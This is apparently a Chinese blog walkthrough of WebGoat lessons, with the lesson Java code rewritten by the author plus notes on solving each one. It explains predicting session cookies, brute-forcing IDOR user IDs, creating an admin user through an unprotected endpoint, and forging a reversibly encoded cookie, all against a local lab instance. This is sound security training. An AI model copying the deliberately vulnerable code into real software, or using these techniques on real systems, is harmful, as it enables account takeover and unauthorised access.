AuthenticationProvider package com.wanan.webgoat.lessons.hijacksession.cas;import java.security.Principal;@FunctionalInterface public interface AuthenticationProvider <T extends Principal >{ T authenticate (T t) ; }
简单分析一下
当第一次请求的时候cookie其实是空的
先创建一个username 和 passwd 的authentication
这里两个false 直接跳到下一个if里面
调用的 GENERATE_SESSION_ID 去获取一个id
这里的id 首先是一个静态的值 紧接着去自加一 与 当前时间戳进行拼接
这里需要注意的是 这里的 authentication 是这个 @23160 还有这个id 最后是657
紧接着跳到了authorizedUserAutoLogin()中去
仔细看着一行 其实 这里是有一定概率才能进到这个if中的,原因就是这里的 数字是随机生成的 进入if的概率呢就是 0.25
因此我们在if里面下个断点然后不断重复请求进入if看看先
进来以后发现创建了一个 使用的是 AUTHENTICATION_SUPPLIER.get()创建了一个新的authentication
因此就调到了这里面这里很明显示构建一个Authentication 但是这里的 id 其实是调用的 GENERATE_SESSION_ID 首先这里进行了id的自加一
这里的id其实是静态的 因此 先自加后拼接当前时间戳
仔细看这里的 @23164 与 id 最后是236 这里其实出现了不同 那是由于我们下了断点导致执行时间出现了较大差异 假设我们不下断点的话 这两个值应该是相同的 我们可以做个简单的测试 后面会讲到
并将Authenticated赋值成了 true
接着进行了addSession操作 将当前的 authentication.getId() 进行了存入
但是这里还需要注意的是如果sessions 的数量大于50 就会移除
接着返回了
回来之后的authentication是我们第一次的 @23160
接着将这里的setcookie
可以发现当cookie是空的时候会给请求设置一个cookie
从这里我们也可以测试一下设置cookie的规律
我们只在return 这里下一个断点
不断请求到截断到为止 这里发现后缀是235
放行之后发现这里的后面时间戳其实是相同的 而只有前面由于自加一出现了差异
接着我们给cookie添加上去
这里由于sessions 中没有包含我们的cookie 因此两个都是false
这里当然也能进来 不过这次生成的cookie并不会返回到页面上面
到现在我们的思路就是先 使用 不带cookie的去请求获取得到的cookie 接着将得到的cookie 进行+1操作 因为实际存入到sessions中的其实是+过1的 接着使用这个cookie去请求
idor IDOR package com.wanan.webgoat.lessons.idor;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class IDOR extends Lesson { @Override protected Category getDefaultCategory () { return Category.A1; } @Override public String getTitle () { return "idor.title" ; } }
IDORLogin package com.wanan.webgoat.lessons.idor;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.util.HashMap;import java.util.Map;@RestController @AssignmentHints({"idor.hints.idor_login"}) public class IDORLogin extends AssignmentEndpoint { private Map<String,Map<String,String >> idorUserInfo = new HashMap <>(); public void initIDORInfo () { idorUserInfo.put("tom" ,new HashMap <String, String>()); idorUserInfo.get("tom" ).put("password" ,"cat" ); idorUserInfo.get("tom" ).put("id" ,"2342384" ); idorUserInfo.get("tom" ).put("color" ,"yellow" ); idorUserInfo.get("tom" ).put("size" ,"small" ); idorUserInfo.put("bill" ,new HashMap <String, String>()); idorUserInfo.get("bill" ).put("password" ,"buffalo" ); idorUserInfo.get("bill" ).put("id" ,"2342388" ); idorUserInfo.get("bill" ).put("color" ,"brown" ); idorUserInfo.get("bill" ).put("size" ,"large" ); } @PostMapping("/IDOR/login") @ResponseBody public AttackResult completed (@RequestParam String username,@RequestParam String password) { initIDORInfo(); UserSessionData userSessionData = getUserSessionData(); if (idorUserInfo.containsKey(username)){ if ("tom" .equals(username) && idorUserInfo.get("tom" ).get("password" ).equals(password)){ userSessionData.setValue("idor-authenticated-as" ,username); userSessionData.setValue("idor-authenticated-user-id" ,idorUserInfo.get(username).get("id" )); return success(this ).feedback("idor.login.success" ).feedbackArgs(username).build(); }else { return failed(this ).feedback("idor.login.failure" ).build(); } }else { return failed(this ).feedback("idor.login.failure" ).build(); } } }
先看下UserSessionData
这里也比较简单就是 一个map的简单功能
这里只要登录就可过关了
IDORDiffAttributes package com.wanan.webgoat.lessons.idor;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.*;@RestController @AssignmentHints({"idor.hints.idorDiffAttributes1","idor.hints.idorDiffAttributes2","idor.hints.idorDiffAttributes3"}) public class IDORDiffAttributes extends AssignmentEndpoint { @PostMapping("/IDOR/diff-attributes") @ResponseBody public AttackResult completed (@RequestParam String attributes) { attributes = attributes.trim(); String[] diffAttribs = attributes.split("," ); if (diffAttribs.length < 2 ){ return failed(this ).feedback("idor.diff.attributes.missing" ).build(); } if (diffAttribs[0 ].toLowerCase().trim().equals("userid" ) && diffAttribs[1 ].toLowerCase().trim().equals("role" ) || diffAttribs[1 ].toLowerCase().trim().equals("userid" ) && diffAttribs[0 ].toLowerCase().trim().equals("role" )){ return success(this ).feedback("idor.diff.success" ).build(); }else { return failed(this ).feedback("idor.diff.failure" ).build(); } } }
这里写完之后第二关是无法去通过的,因此我们需要接着写
IDORViewOwnProfile package com.wanan.webgoat.lessons.idor;import com.wanan.webgoat.container.session.UserSessionData;import lombok.extern.slf4j.Slf4j;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.util.HashMap;import java.util.Map;@RestController @Slf4j public class IDORViewOwnProfile { @Autowired UserSessionData userSessionData; @GetMapping(path = {"/IDOR/own","/IDOR/profile"},produces = {"application/json"}) @ResponseBody public Map<String,Object> invoke () { Map<String,Object> details = new HashMap <>(); try { if (userSessionData.getValue("idor-authenticated-as" ).equals("tom" )){ String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id" ); UserProfile userProfile = new UserProfile (authUserId); details.put("userId" ,userProfile.getUserId()); details.put("name" ,userProfile.getName()); details.put("color" ,userProfile.getColor()); details.put("size" ,userProfile.getSize()); details.put("role" ,userProfile.getRole()); }else { details.put("error" ,"You do not have privileges to view the profile. Authenticate as tom first please." ); } }catch (Exception ex){ log.error("something went wrong" ,ex.getMessage()); } return details; } }
UserProfile package com.wanan.webgoat.lessons.idor;import java.util.HashMap;import java.util.Map;public class UserProfile { private String userId; private String name; private String color; private String size; private boolean isAdmin; private int role; public UserProfile () { } public UserProfile (String id) { setProfileFromId(id); } private void setProfileFromId (String id) { if (id.equals("2342384" )){ this .userId = id; this .color = "yellow" ; this .name = "Tom Cat" ; this .size = "small" ; this .isAdmin = false ; this .role = 3 ; }else if (id.equals("2342388" )){ this .userId = id; this .color = "brown" ; this .name = "Buffalo Bill" ; this .size = "large" ; this .isAdmin = false ; this .role = 3 ; }else { } } public Map<String,Object> profileToMap () { Map<String ,Object> profileMap = new HashMap <>(); profileMap.put("userId" ,this .userId); profileMap.put("name" ,this .name); profileMap.put("color" ,this .color); profileMap.put("role" ,this .role); return profileMap; } public String toHTMLString () { String htmlBreak = "<br/>" ; return "userId" + this .userId + htmlBreak + "name" + this .name + htmlBreak + "size" + this .size + htmlBreak + "role" + this .role + htmlBreak + "isAdmin" + this .isAdmin; } public String getUserId () { return userId; } public void setUserId (String userId) { this .userId = userId; } public String getName () { return name; } public void setName (String name) { this .name = name; } public String getColor () { return color; } public void setColor (String color) { this .color = color; } public String getSize () { return size; } public void setSize (String size) { this .size = size; } public boolean isAdmin () { return isAdmin; } public void setAdmin (boolean admin) { isAdmin = admin; } public int getRole () { return role; } public void setRole (int role) { this .role = role; } }
首先这里存在一个view profile 用于查看资料,但是这个资料的查看前提是需要在第二关登录才能查看的
这里的UserProfile 就很像一个数据类 专门用来封装数据的
那么这里以,分割填入userid和role就可以了
IDORViewOwnProfileAltUrl package com.wanan.webgoat.lessons.idor;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.security.core.parameters.P;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"idor.hints.ownProfileAltUrl1","idor.hints.ownProfileAltUrl2","idor.hints.ownProfileAltUrl3"}) public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping("/IDOR/profile/alt-path") @ResponseBody public AttackResult completed (@RequestParam String url) { try { if (userSessionData.getValue("idor-authenticated-as" ).equals("tom" )){ String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id" ); String[] urlParts = url.split("/" ); if (urlParts[0 ].equals("WebGoat" )&&urlParts[1 ].equals("IDOR" )&&urlParts[2 ].equals("profile" )&&urlParts[3 ].equals(authUserId)){ UserProfile userProfile = new UserProfile (authUserId); return success(this ).feedback("idor.view.own.profile.success" ).output(userProfile.profileToMap().toString()).build(); }else { return failed(this ).feedback("idor.view.own.profile.failure1" ).build(); } }else { return failed(this ).feedback("idor.view.own.profile.failure2" ).build(); } }catch (Exception ex){ return failed(this ).feedback("an error occurred with your request" ).build(); } } }
这里就是像让我们访问个人资料的路径 也是需要先登录
获取路径 和 id
这里需要注意的是需要加上这个id
IDORViewOtherProfile package com.wanan.webgoat.lessons.idor;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PathVariable;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletResponse;import java.util.HashMap;import java.util.Map;@RestController @AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"}) public class IDORViewOtherProfile extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @GetMapping(path = "/IDOR/profile/{userId}",produces = {"application/json"}) @ResponseBody public AttackResult completed (@PathVariable("userId") String userId, HttpServletResponse response) { Map<String,Object> details = new HashMap <>(); if (userSessionData.getValue("idor-authenticated-as" ).equals("tom" )){ String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id" ); if (userId != null && !userId.equals(authUserId)){ UserProfile requestedProfile = new UserProfile (userId); if (requestedProfile.getUserId().equals("2342388" )){ return success(this ).feedback("idor.view.profile.success" ).output(requestedProfile.profileToMap().toString()).build(); }else { return failed(this ).feedback("idor.view.profile.close1" ).build(); } }else { return failed(this ).feedback("idor.view.profile.close2" ).build(); } } return failed(this ).build(); } }
这里可以看见,这个userid其实是没有赋值的,那么这里呢我们就需要去登录这个 bill 这里的意思也是比较简单,那么假设我们不知道bill的id怎么取访问呢? 爆破id呗
这里为了方便就直接减少点了 并且开了两个线程 不然一直访问500
IDOREditOtherProfiile 注意这里的代码与原先的差异
这里的提示返回的是fail 但是调用的是succes 不知道是不是原文写错了
package com.wanan.webgoat.lessons.idor;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.security.core.parameters.P;import org.springframework.web.bind.annotation.*;@RestController @AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"}) public class IDOREditOtherProfiile extends AssignmentEndpoint { @Autowired private UserSessionData userSessionData; @PutMapping(path = "/IDOR/profile/{userId}", consumes = "application/json") @ResponseBody public AttackResult completed (@PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) { String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id" ); UserProfile currentUserProfile = new UserProfile (userId); if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId) ) { currentUserProfile.setColor(userSubmittedProfile.getColor()); currentUserProfile.setRole(userSubmittedProfile.getRole()); userSessionData.setValue("idor-updated-other-profile" , currentUserProfile); if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals("red" )) { return success(this ).feedback("idor-edit.profile.success1" ) .output(currentUserProfile.profileToMap().toString()) .build(); } if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().toLowerCase().equals("red" )) { return failed(this ) .feedback("idor.edit.profile.failure1" ) .output(currentUserProfile.profileToMap().toString()) .build(); } if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().toLowerCase().equals("red" )) { return failed(this ) .feedback("idor.edit.profile.failure2" ) .output(currentUserProfile.profileToMap().toString()) .build(); } return failed(this ) .feedback("idor.edit.profile.failure3" ) .output(currentUserProfile.profileToMap().toString()) .build(); } else if (userSubmittedProfile.getUserId().equals(authUserId)) { return failed(this ) .feedback("idor.edit.profile.failure4" ) .build(); } if (currentUserProfile.getColor().equals("black" ) && currentUserProfile.getRole() <= 1 ) { return success(this ) .feedback("idor.edit.profile.success2" ) .output(userSessionData.getValue("idor-updated-own-profile" ).toString()) .build(); } else { return failed(this ) .feedback("idor.edit.profile.failure3" ) .build(); } } }
前提也是需要先进行登录
这里既然提交的是一个json格式的UserProfile 那么我们需要 UserProfile 的json格式是什么样子的
这里还需要put请求
总共有三个地方一是 id 二是 role 三是 color
但是这里还有一个black也可以过关
但是这里上面如果是null 的话下面就会爆空指针异常 不知道怎么过
missing_ac 这里注意对源码进行了修改,后面会提到
package com.wanan.webgoat.lessons.missing_ac;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"access-control.hidden-menus.hint1","access-control.hidden-menus.hint2","access-control.hidden-menus.hint3"}) public class MissingFunctionACHiddenMenus extends AssignmentEndpoint { @PostMapping(path = "/access-control/hidden-menu",produces = {"application/json"}) @ResponseBody public AttackResult completed (String hiddenMenu1,String hiddenMenu2) { if (hiddenMenu1.toLowerCase().equals("users" ) && hiddenMenu2.toLowerCase().equals("config" )){ return success(this ) .output("" ) .feedback("access-control.hidden-menus.success" ) .build(); } if (hiddenMenu1.equals("Config" ) && hiddenMenu2.equals("Users" )){ return failed(this ) .output("" ) .feedback("access-control.hidden-menus.failure" ) .build(); } return failed(this ) .feedback("access-control.hidden-menus.failure" ) .output("" ) .build(); } }
简单翻译一下这一关就可以发现 其实是让我们去源码中寻找一下 隐藏的 路径信息
这里其实不是特别的好找,首先我们先把所有的标签给展开先 先找到body这个标签
接着根据工具去定位大致的位置
稍微往上一翻可以找到了 还有一个问题这里填那两个 ?
但是呢这里就存在一个问题 既然前端显示的是小写 但是后端判断的是大写 那么就会导致无法过关 这里我们对源码进行一下修改
MissingFunctionACYourHash package com.wanan.webgoat.lessons.missing_ac;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import lombok.RequiredArgsConstructor;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import static com.wanan.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN;import static com.wanan.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE;@RestController @AssignmentHints({"access-control.hash.hint1", "access-control.hash.hint2", "access-control.hash.hint3", "access-control.hash.hint4", "access-control.hash.hint5"}) @RequiredArgsConstructor public class MissingFunctionACYourHash extends AssignmentEndpoint { private final MissingAccessControlUserRepository userRepository; @PostMapping(path = "/access-control/user-hash",produces = {"application/json"}) @ResponseBody public AttackResult simple (String userHash) { User user = userRepository.findByUsername("Jerry" ); DisplayUser displayUser = new DisplayUser (user,PASSWORD_SALT_SIMPLE); if (userHash.equals(displayUser.getUserHash())){ return success(this ).feedback("access-control.hash.success" ).build(); }else { return failed(this ).build(); } } }
MissingAccessControlUserRepository package com.wanan.webgoat.lessons.missing_ac;import com.wanan.webgoat.container.LessonDataSource;import org.springframework.jdbc.core.RowMapper;import org.springframework.jdbc.core.namedparam.MapSqlParameterSource;import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;import org.springframework.stereotype.Component;import org.springframework.util.CollectionUtils;import java.util.List;@Component public class MissingAccessControlUserRepository { private final NamedParameterJdbcTemplate jdbcTemplate; private final RowMapper<User> mapper = (rs,rowMapper) -> new User (rs.getString("username" ),rs.getString("password" ),rs.getBoolean("admin" )); public MissingAccessControlUserRepository (LessonDataSource lessonDataSource) { this .jdbcTemplate = new NamedParameterJdbcTemplate (lessonDataSource); } public List<User> findAllUsers () { return jdbcTemplate.query("select username,password,admin from access_control_users" ,mapper); } public User findByUsername (String username) { var users = jdbcTemplate.query("select username,password,admin from access_control_users where username=:username" ,new MapSqlParameterSource ().addValue("username" ,username),mapper); if (CollectionUtils.isEmpty(users)){ return null ; } return users.get(0 ); } public User save (User user) { jdbcTemplate.update("INSERT INTO access_control_users(username, password, admin) VALUES(:username,:password,:admin)" , new MapSqlParameterSource () .addValue("username" ,user.getUsername()) .addValue("password" ,user.getPassword()) .addValue("admin" ,user.isAdmin())); return user; } }
这里看一眼 RowMapper的解释 首先这个接口是对 数据库中列的映射 其中需要实现下面的mapRow方法
注意看这里其实是用 lamda表达式其中这里 new了一个接口并传入了User这个对象 这里传入的两个参数 其中第一个参数就是查询到的当前列的值 第二个参数代表着 当前是第几列
User package com.wanan.webgoat.lessons.missing_ac;import lombok.AllArgsConstructor;import lombok.Data;import lombok.NoArgsConstructor;@Data @AllArgsConstructor @NoArgsConstructor public class User { private String username; private String password; private boolean admin; }
到这里其实还是没有办法去完成的 因为我们不知道用户的信息 还需要接着写
MissingFunctionACUsers package com.wanan.webgoat.lessons.missing_ac;import com.wanan.webgoat.container.session.WebSession;import lombok.AllArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.springframework.http.HttpStatus;import org.springframework.http.ResponseEntity;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.servlet.ModelAndView;import java.util.ArrayList;import java.util.List;import java.util.stream.Collectors;import static com.wanan.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN;import static com.wanan.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE;@Controller @AllArgsConstructor @Slf4j public class MissingFunctionACUsers { private final MissingAccessControlUserRepository userRepository; private final WebSession webSession; @GetMapping(path = {"access-control/users"}) public ModelAndView listUsers () { ModelAndView model = new ModelAndView (); model.setViewName("list_users" ); List<User> allUsers = userRepository.findAllUsers(); model.addObject("numUsers" , allUsers.size()); List<DisplayUser> displayUsers = new ArrayList <>(); for (User user : allUsers) { displayUsers.add(new DisplayUser (user, PASSWORD_SALT_SIMPLE)); } model.addObject("allUsers" , displayUsers); return model; } @GetMapping(path = {"access-control/users"}, consumes = "application/json") @ResponseBody public ResponseEntity<List<DisplayUser>> usersService () { return ResponseEntity.ok(userRepository.findAllUsers().stream().map(user -> new DisplayUser (user, PASSWORD_SALT_SIMPLE)).collect(Collectors.toList())); } @GetMapping(path = {"access-control/users-admin-fix"}, consumes = "application/json") @ResponseBody public ResponseEntity<List<DisplayUser>> usersFixed () { var currentUser = userRepository.findByUsername(webSession.getUserName()); if (currentUser != null && currentUser.isAdmin()) { return ResponseEntity.ok(userRepository.findAllUsers().stream().map(user -> new DisplayUser (user, PASSWORD_SALT_ADMIN)).collect(Collectors.toList())); } return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } @PostMapping(path = {"access-control/users", "access-control/users-admin-fix"}, consumes = "application/json", produces = "application/json") @ResponseBody public User addUser (@RequestBody User newUser) { try { userRepository.save(newUser); return newUser; } catch (Exception ex) { log.error("Error creating new User" , ex); return null ; } } }
这里首先需要的是获取用户的hash值
可以注意到的是这里的路径是存在问题的,那就是这里的前缀
直接访问必报404
http://127.0.0.1:8080/WebGoat/access-control/users
需要添加WebGoat
这里爆了一个异常 原因也很简单的 主要是由于这个接口作为一个遗漏接口 由于没有进行完善所以导致 这个list_users.html不存在
Content-Type: application/json
这里添加上这个json请求头就可以处理这个请求了
原因是这里是可以接受 json格式的数据去 解析并将json格式的数据进行返回的
那么我们之间提交Jerry的hash即可
MissingFunctionACYourHashAdmin package com.wanan.webgoat.lessons.missing_ac;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import static com.wanan.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN;@RestController @AssignmentHints({"access-control.hash.hint6", "access-control.hash.hint7", "access-control.hash.hint8", "access-control.hash.hint9", "access-control.hash.hint10", "access-control.hash.hint11", "access-control.hash.hint12"}) public class MissingFunctionACYourHashAdmin extends AssignmentEndpoint { private final MissingAccessControlUserRepository userRepository; public MissingFunctionACYourHashAdmin (MissingAccessControlUserRepository userRepository) { this .userRepository = userRepository; } @PostMapping(path = "/access-control/user-hash-fix",produces = {"application/json"}) @ResponseBody public AttackResult admin (String userHash) { var user = userRepository.findByUsername("Jerry" ); var displayUser = new DisplayUser (user,PASSWORD_SALT_ADMIN); if (userHash.equals(displayUser.getUserHash())) { return success(this ).feedback("access-control.hash.success" ).build(); }else { return failed(this ).feedback("access-control.hash.close" ).build(); } } }
也就是我们需要把Jerry更改为admin才可登录
也就是这里的两个方法 一个获取用户并保存到数据库中去 另一个方法查看用户hash
但是这里需要注意的是 这里的newUser 也就是一个User对象
注意观察参数
这里我们总共添加了两个用户 一个是当前登录webgoat的用户 也就是123456
这里就把admin的hash也查出来了
这里为甚是两个用户也即是这里的原因
接着去提交它的hash 如果发现多个hash提交第一个即可,因为只对比第一个
spoofcookie SpoofCookie package com.wanan.webgoat.lessons.spoofcookie;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class SpoofCookie extends Lesson { @Override protected Category getDefaultCategory () { return Category.A1; } @Override public String getTitle () { return "spoofcookie.title" ; } }
SpoofCookieAssignment package com.wanan.webgoat.lessons.spoofcookie;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.spoofcookie.encoders.EncDec;import org.apache.commons.lang3.StringUtils;import org.springframework.web.bind.UnsatisfiedServletRequestParameterException;import org.springframework.web.bind.annotation.*;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServletResponse;import java.util.Map;@RestController public class SpoofCookieAssignment extends AssignmentEndpoint { private static final String COOKIE_NAME = "spoof_auth" ; private static final String COOKIE_INFO = "Cookie details for user %s:<br />" + COOKIE_NAME + "=%s" ; private static final String ATTACK_USERNAME = "tom" ; private static final Map<String ,String > users = Map.of( "webgoat" ,"webgoat" , "admin" ,"admin" , ATTACK_USERNAME,"apasswordfortom" ); @PostMapping(path = "/SpoofCookie/login") @ResponseBody @ExceptionHandler(UnsatisfiedServletRequestParameterException.class) public AttackResult login ( @RequestParam String username, // 获取用户参数 @RequestParam String password, // @CookieValue(value = COOKIE_NAME , required = false ) String cookieValue, // 获取 cookie的值 非必须 HttpServletResponse response) { if (StringUtils.isEmpty(cookieValue)){ return credentialsLoginFlow(username,password,response); }else { return cookieLoginFlow(cookieValue); } } @GetMapping(path = "/SpoofCookie/cleanup") public void cleanup (HttpServletResponse response) { Cookie cookie = new Cookie (COOKIE_NAME,"" ); cookie.setMaxAge(0 ); response.addCookie(cookie); } private AttackResult credentialsLoginFlow (String username,String password,HttpServletResponse response) { String lowerCasedUsername = username.toLowerCase(); if (ATTACK_USERNAME.equals(lowerCasedUsername) && users.get(lowerCasedUsername).equals(password)){ return informationMessage(this ).feedback("spoofcookie.cheating" ).build(); } String authPassword = users.getOrDefault(lowerCasedUsername,"" ); if (!authPassword.isBlank() && authPassword.equals(password)){ String newCookieValue = EncDec.encode(lowerCasedUsername); Cookie newCookie = new Cookie (COOKIE_NAME,newCookieValue); newCookie.setPath("/WebGoat" ); newCookie.setSecure(true ); response.addCookie(newCookie); return informationMessage(this ) .feedback("spoofcookie.login" ) .output(String.format(COOKIE_INFO,lowerCasedUsername,newCookie.getValue())) .build(); } return informationMessage(this ) .feedback("spoofcookie.wrong-login" ) .build(); } private AttackResult cookieLoginFlow (String cookieValue) { String cookieUsername; try { cookieUsername = EncDec.decode(cookieValue).toLowerCase(); }catch (Exception e){ return failed(this ).output(e.getMessage()).build(); } if (users.containsKey(cookieUsername)){ if (cookieUsername.equals(ATTACK_USERNAME)){ return success(this ).build(); } return failed(this ).feedback("spoofcookie.cookie-login" ) .output(String.format(COOKIE_INFO,cookieUsername,cookieValue)).build(); } return failed(this ).feedback("spoofcookie.wrong-cookie" ).build(); } }
encoders EncDec package com.wanan.webgoat.lessons.spoofcookie.encoders;import org.apache.commons.lang3.RandomStringUtils;import org.springframework.security.crypto.codec.Hex;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.Locale;public class EncDec { private static final String SALT = RandomStringUtils.randomAlphabetic(10 ); private EncDec () {} public static String encode (final String value) { if (value == null ){ return null ; } String encoded = value.toLowerCase() + SALT; encoded = revert(encoded); encoded = hexEncode(encoded); return base64Encode(encoded); } public static String decode (final String encodedValue) throws IllegalArgumentException{ if (encodedValue == null ){ return null ; } String decoded = base64Decode(encodedValue); decoded = hexDecode(decoded); decoded = revert(decoded); return decoded.substring(0 ,decoded.length() - SALT.length()); } public static String revert (final String value) { return new StringBuffer (value) .reverse() .toString(); } private static String hexEncode (final String value) { char [] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8)); return new String (encoded); } private static String hexDecode (final String value) { byte [] decoded = Hex.decode(value); return new String (decoded); } private static String base64Encode (final String value) { return Base64 .getEncoder() .encodeToString(value.getBytes()); } private static String base64Decode (final String value) { byte [] decoded = Base64 .getDecoder() .decode(value.getBytes()); return new String (decoded); } }
base64解码
16进制转字符
逆序输出
可以简单发现前面是 用户名 后面是一个固定值
加密cookie
更改cookie登录
cryptography EncodingAssignment 需要先完成 HashingAssignment该部分编写
package com.wanan.webgoat.lessons.cryptography;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletRequest;import java.util.Base64;import java.util.Random;@RestController public class EncodingAssignment extends AssignmentEndpoint { public static String getBasicAuth (String username,String password) { return Base64.getEncoder().encodeToString(username.concat(":" ).concat(password).getBytes()); } @GetMapping(path = "/crypto.encoding/basic",produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getBasicAuth (HttpServletRequest request) { String basicAuth = (String) request.getSession().getAttribute("basicAuth" ); String username = request.getUserPrincipal().getName(); if (basicAuth == null ){ String password = HashingAssignment.SECRETS[new Random ().nextInt(HashingAssignment.SECRETS.length)]; basicAuth = getBasicAuth(username,password); request.getSession().setAttribute("basicAuth" ,basicAuth); } return "Authorization: Basic " .concat(basicAuth); } @PostMapping("/crypto/encoding/basic-auth") @ResponseBody public AttackResult completed (HttpServletRequest request, @RequestParam String answer_user, @RequestParam String answer_pwd) { String basicAuth = (String) request.getSession().getAttribute("basicAuth" ); if (basicAuth != null && answer_user != null && answer_pwd != null && basicAuth.equals(getBasicAuth(answer_user,answer_pwd))){ return success(this ) .feedback("crypto-encoding.success" ) .build(); }else { return failed(this ).feedback("crypto-encoding.empty" ).build(); } } }
XOREncodingAssignment package com.wanan.webgoat.lessons.cryptography;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"crypto-encoding-xor.hints.1"}) public class XOREncodingAssignment extends AssignmentEndpoint { @PostMapping("/crypto/encoding/xor") @ResponseBody public AttackResult completed (@RequestParam String answer_pwd1) { if (answer_pwd1 != null && answer_pwd1.equals("databasepassword" )){ return success(this ) .feedback("crypto-encoding-xor.empty" ) .build(); } return failed(this ) .feedback("crypto-encoding-xor.empty" ) .build(); } }
这里其实考察的是 webSphere 解密
这里我找到了这个网站
http://www.sysman.nl/wasdecoder/
先进行base64解密在 解密一次即可
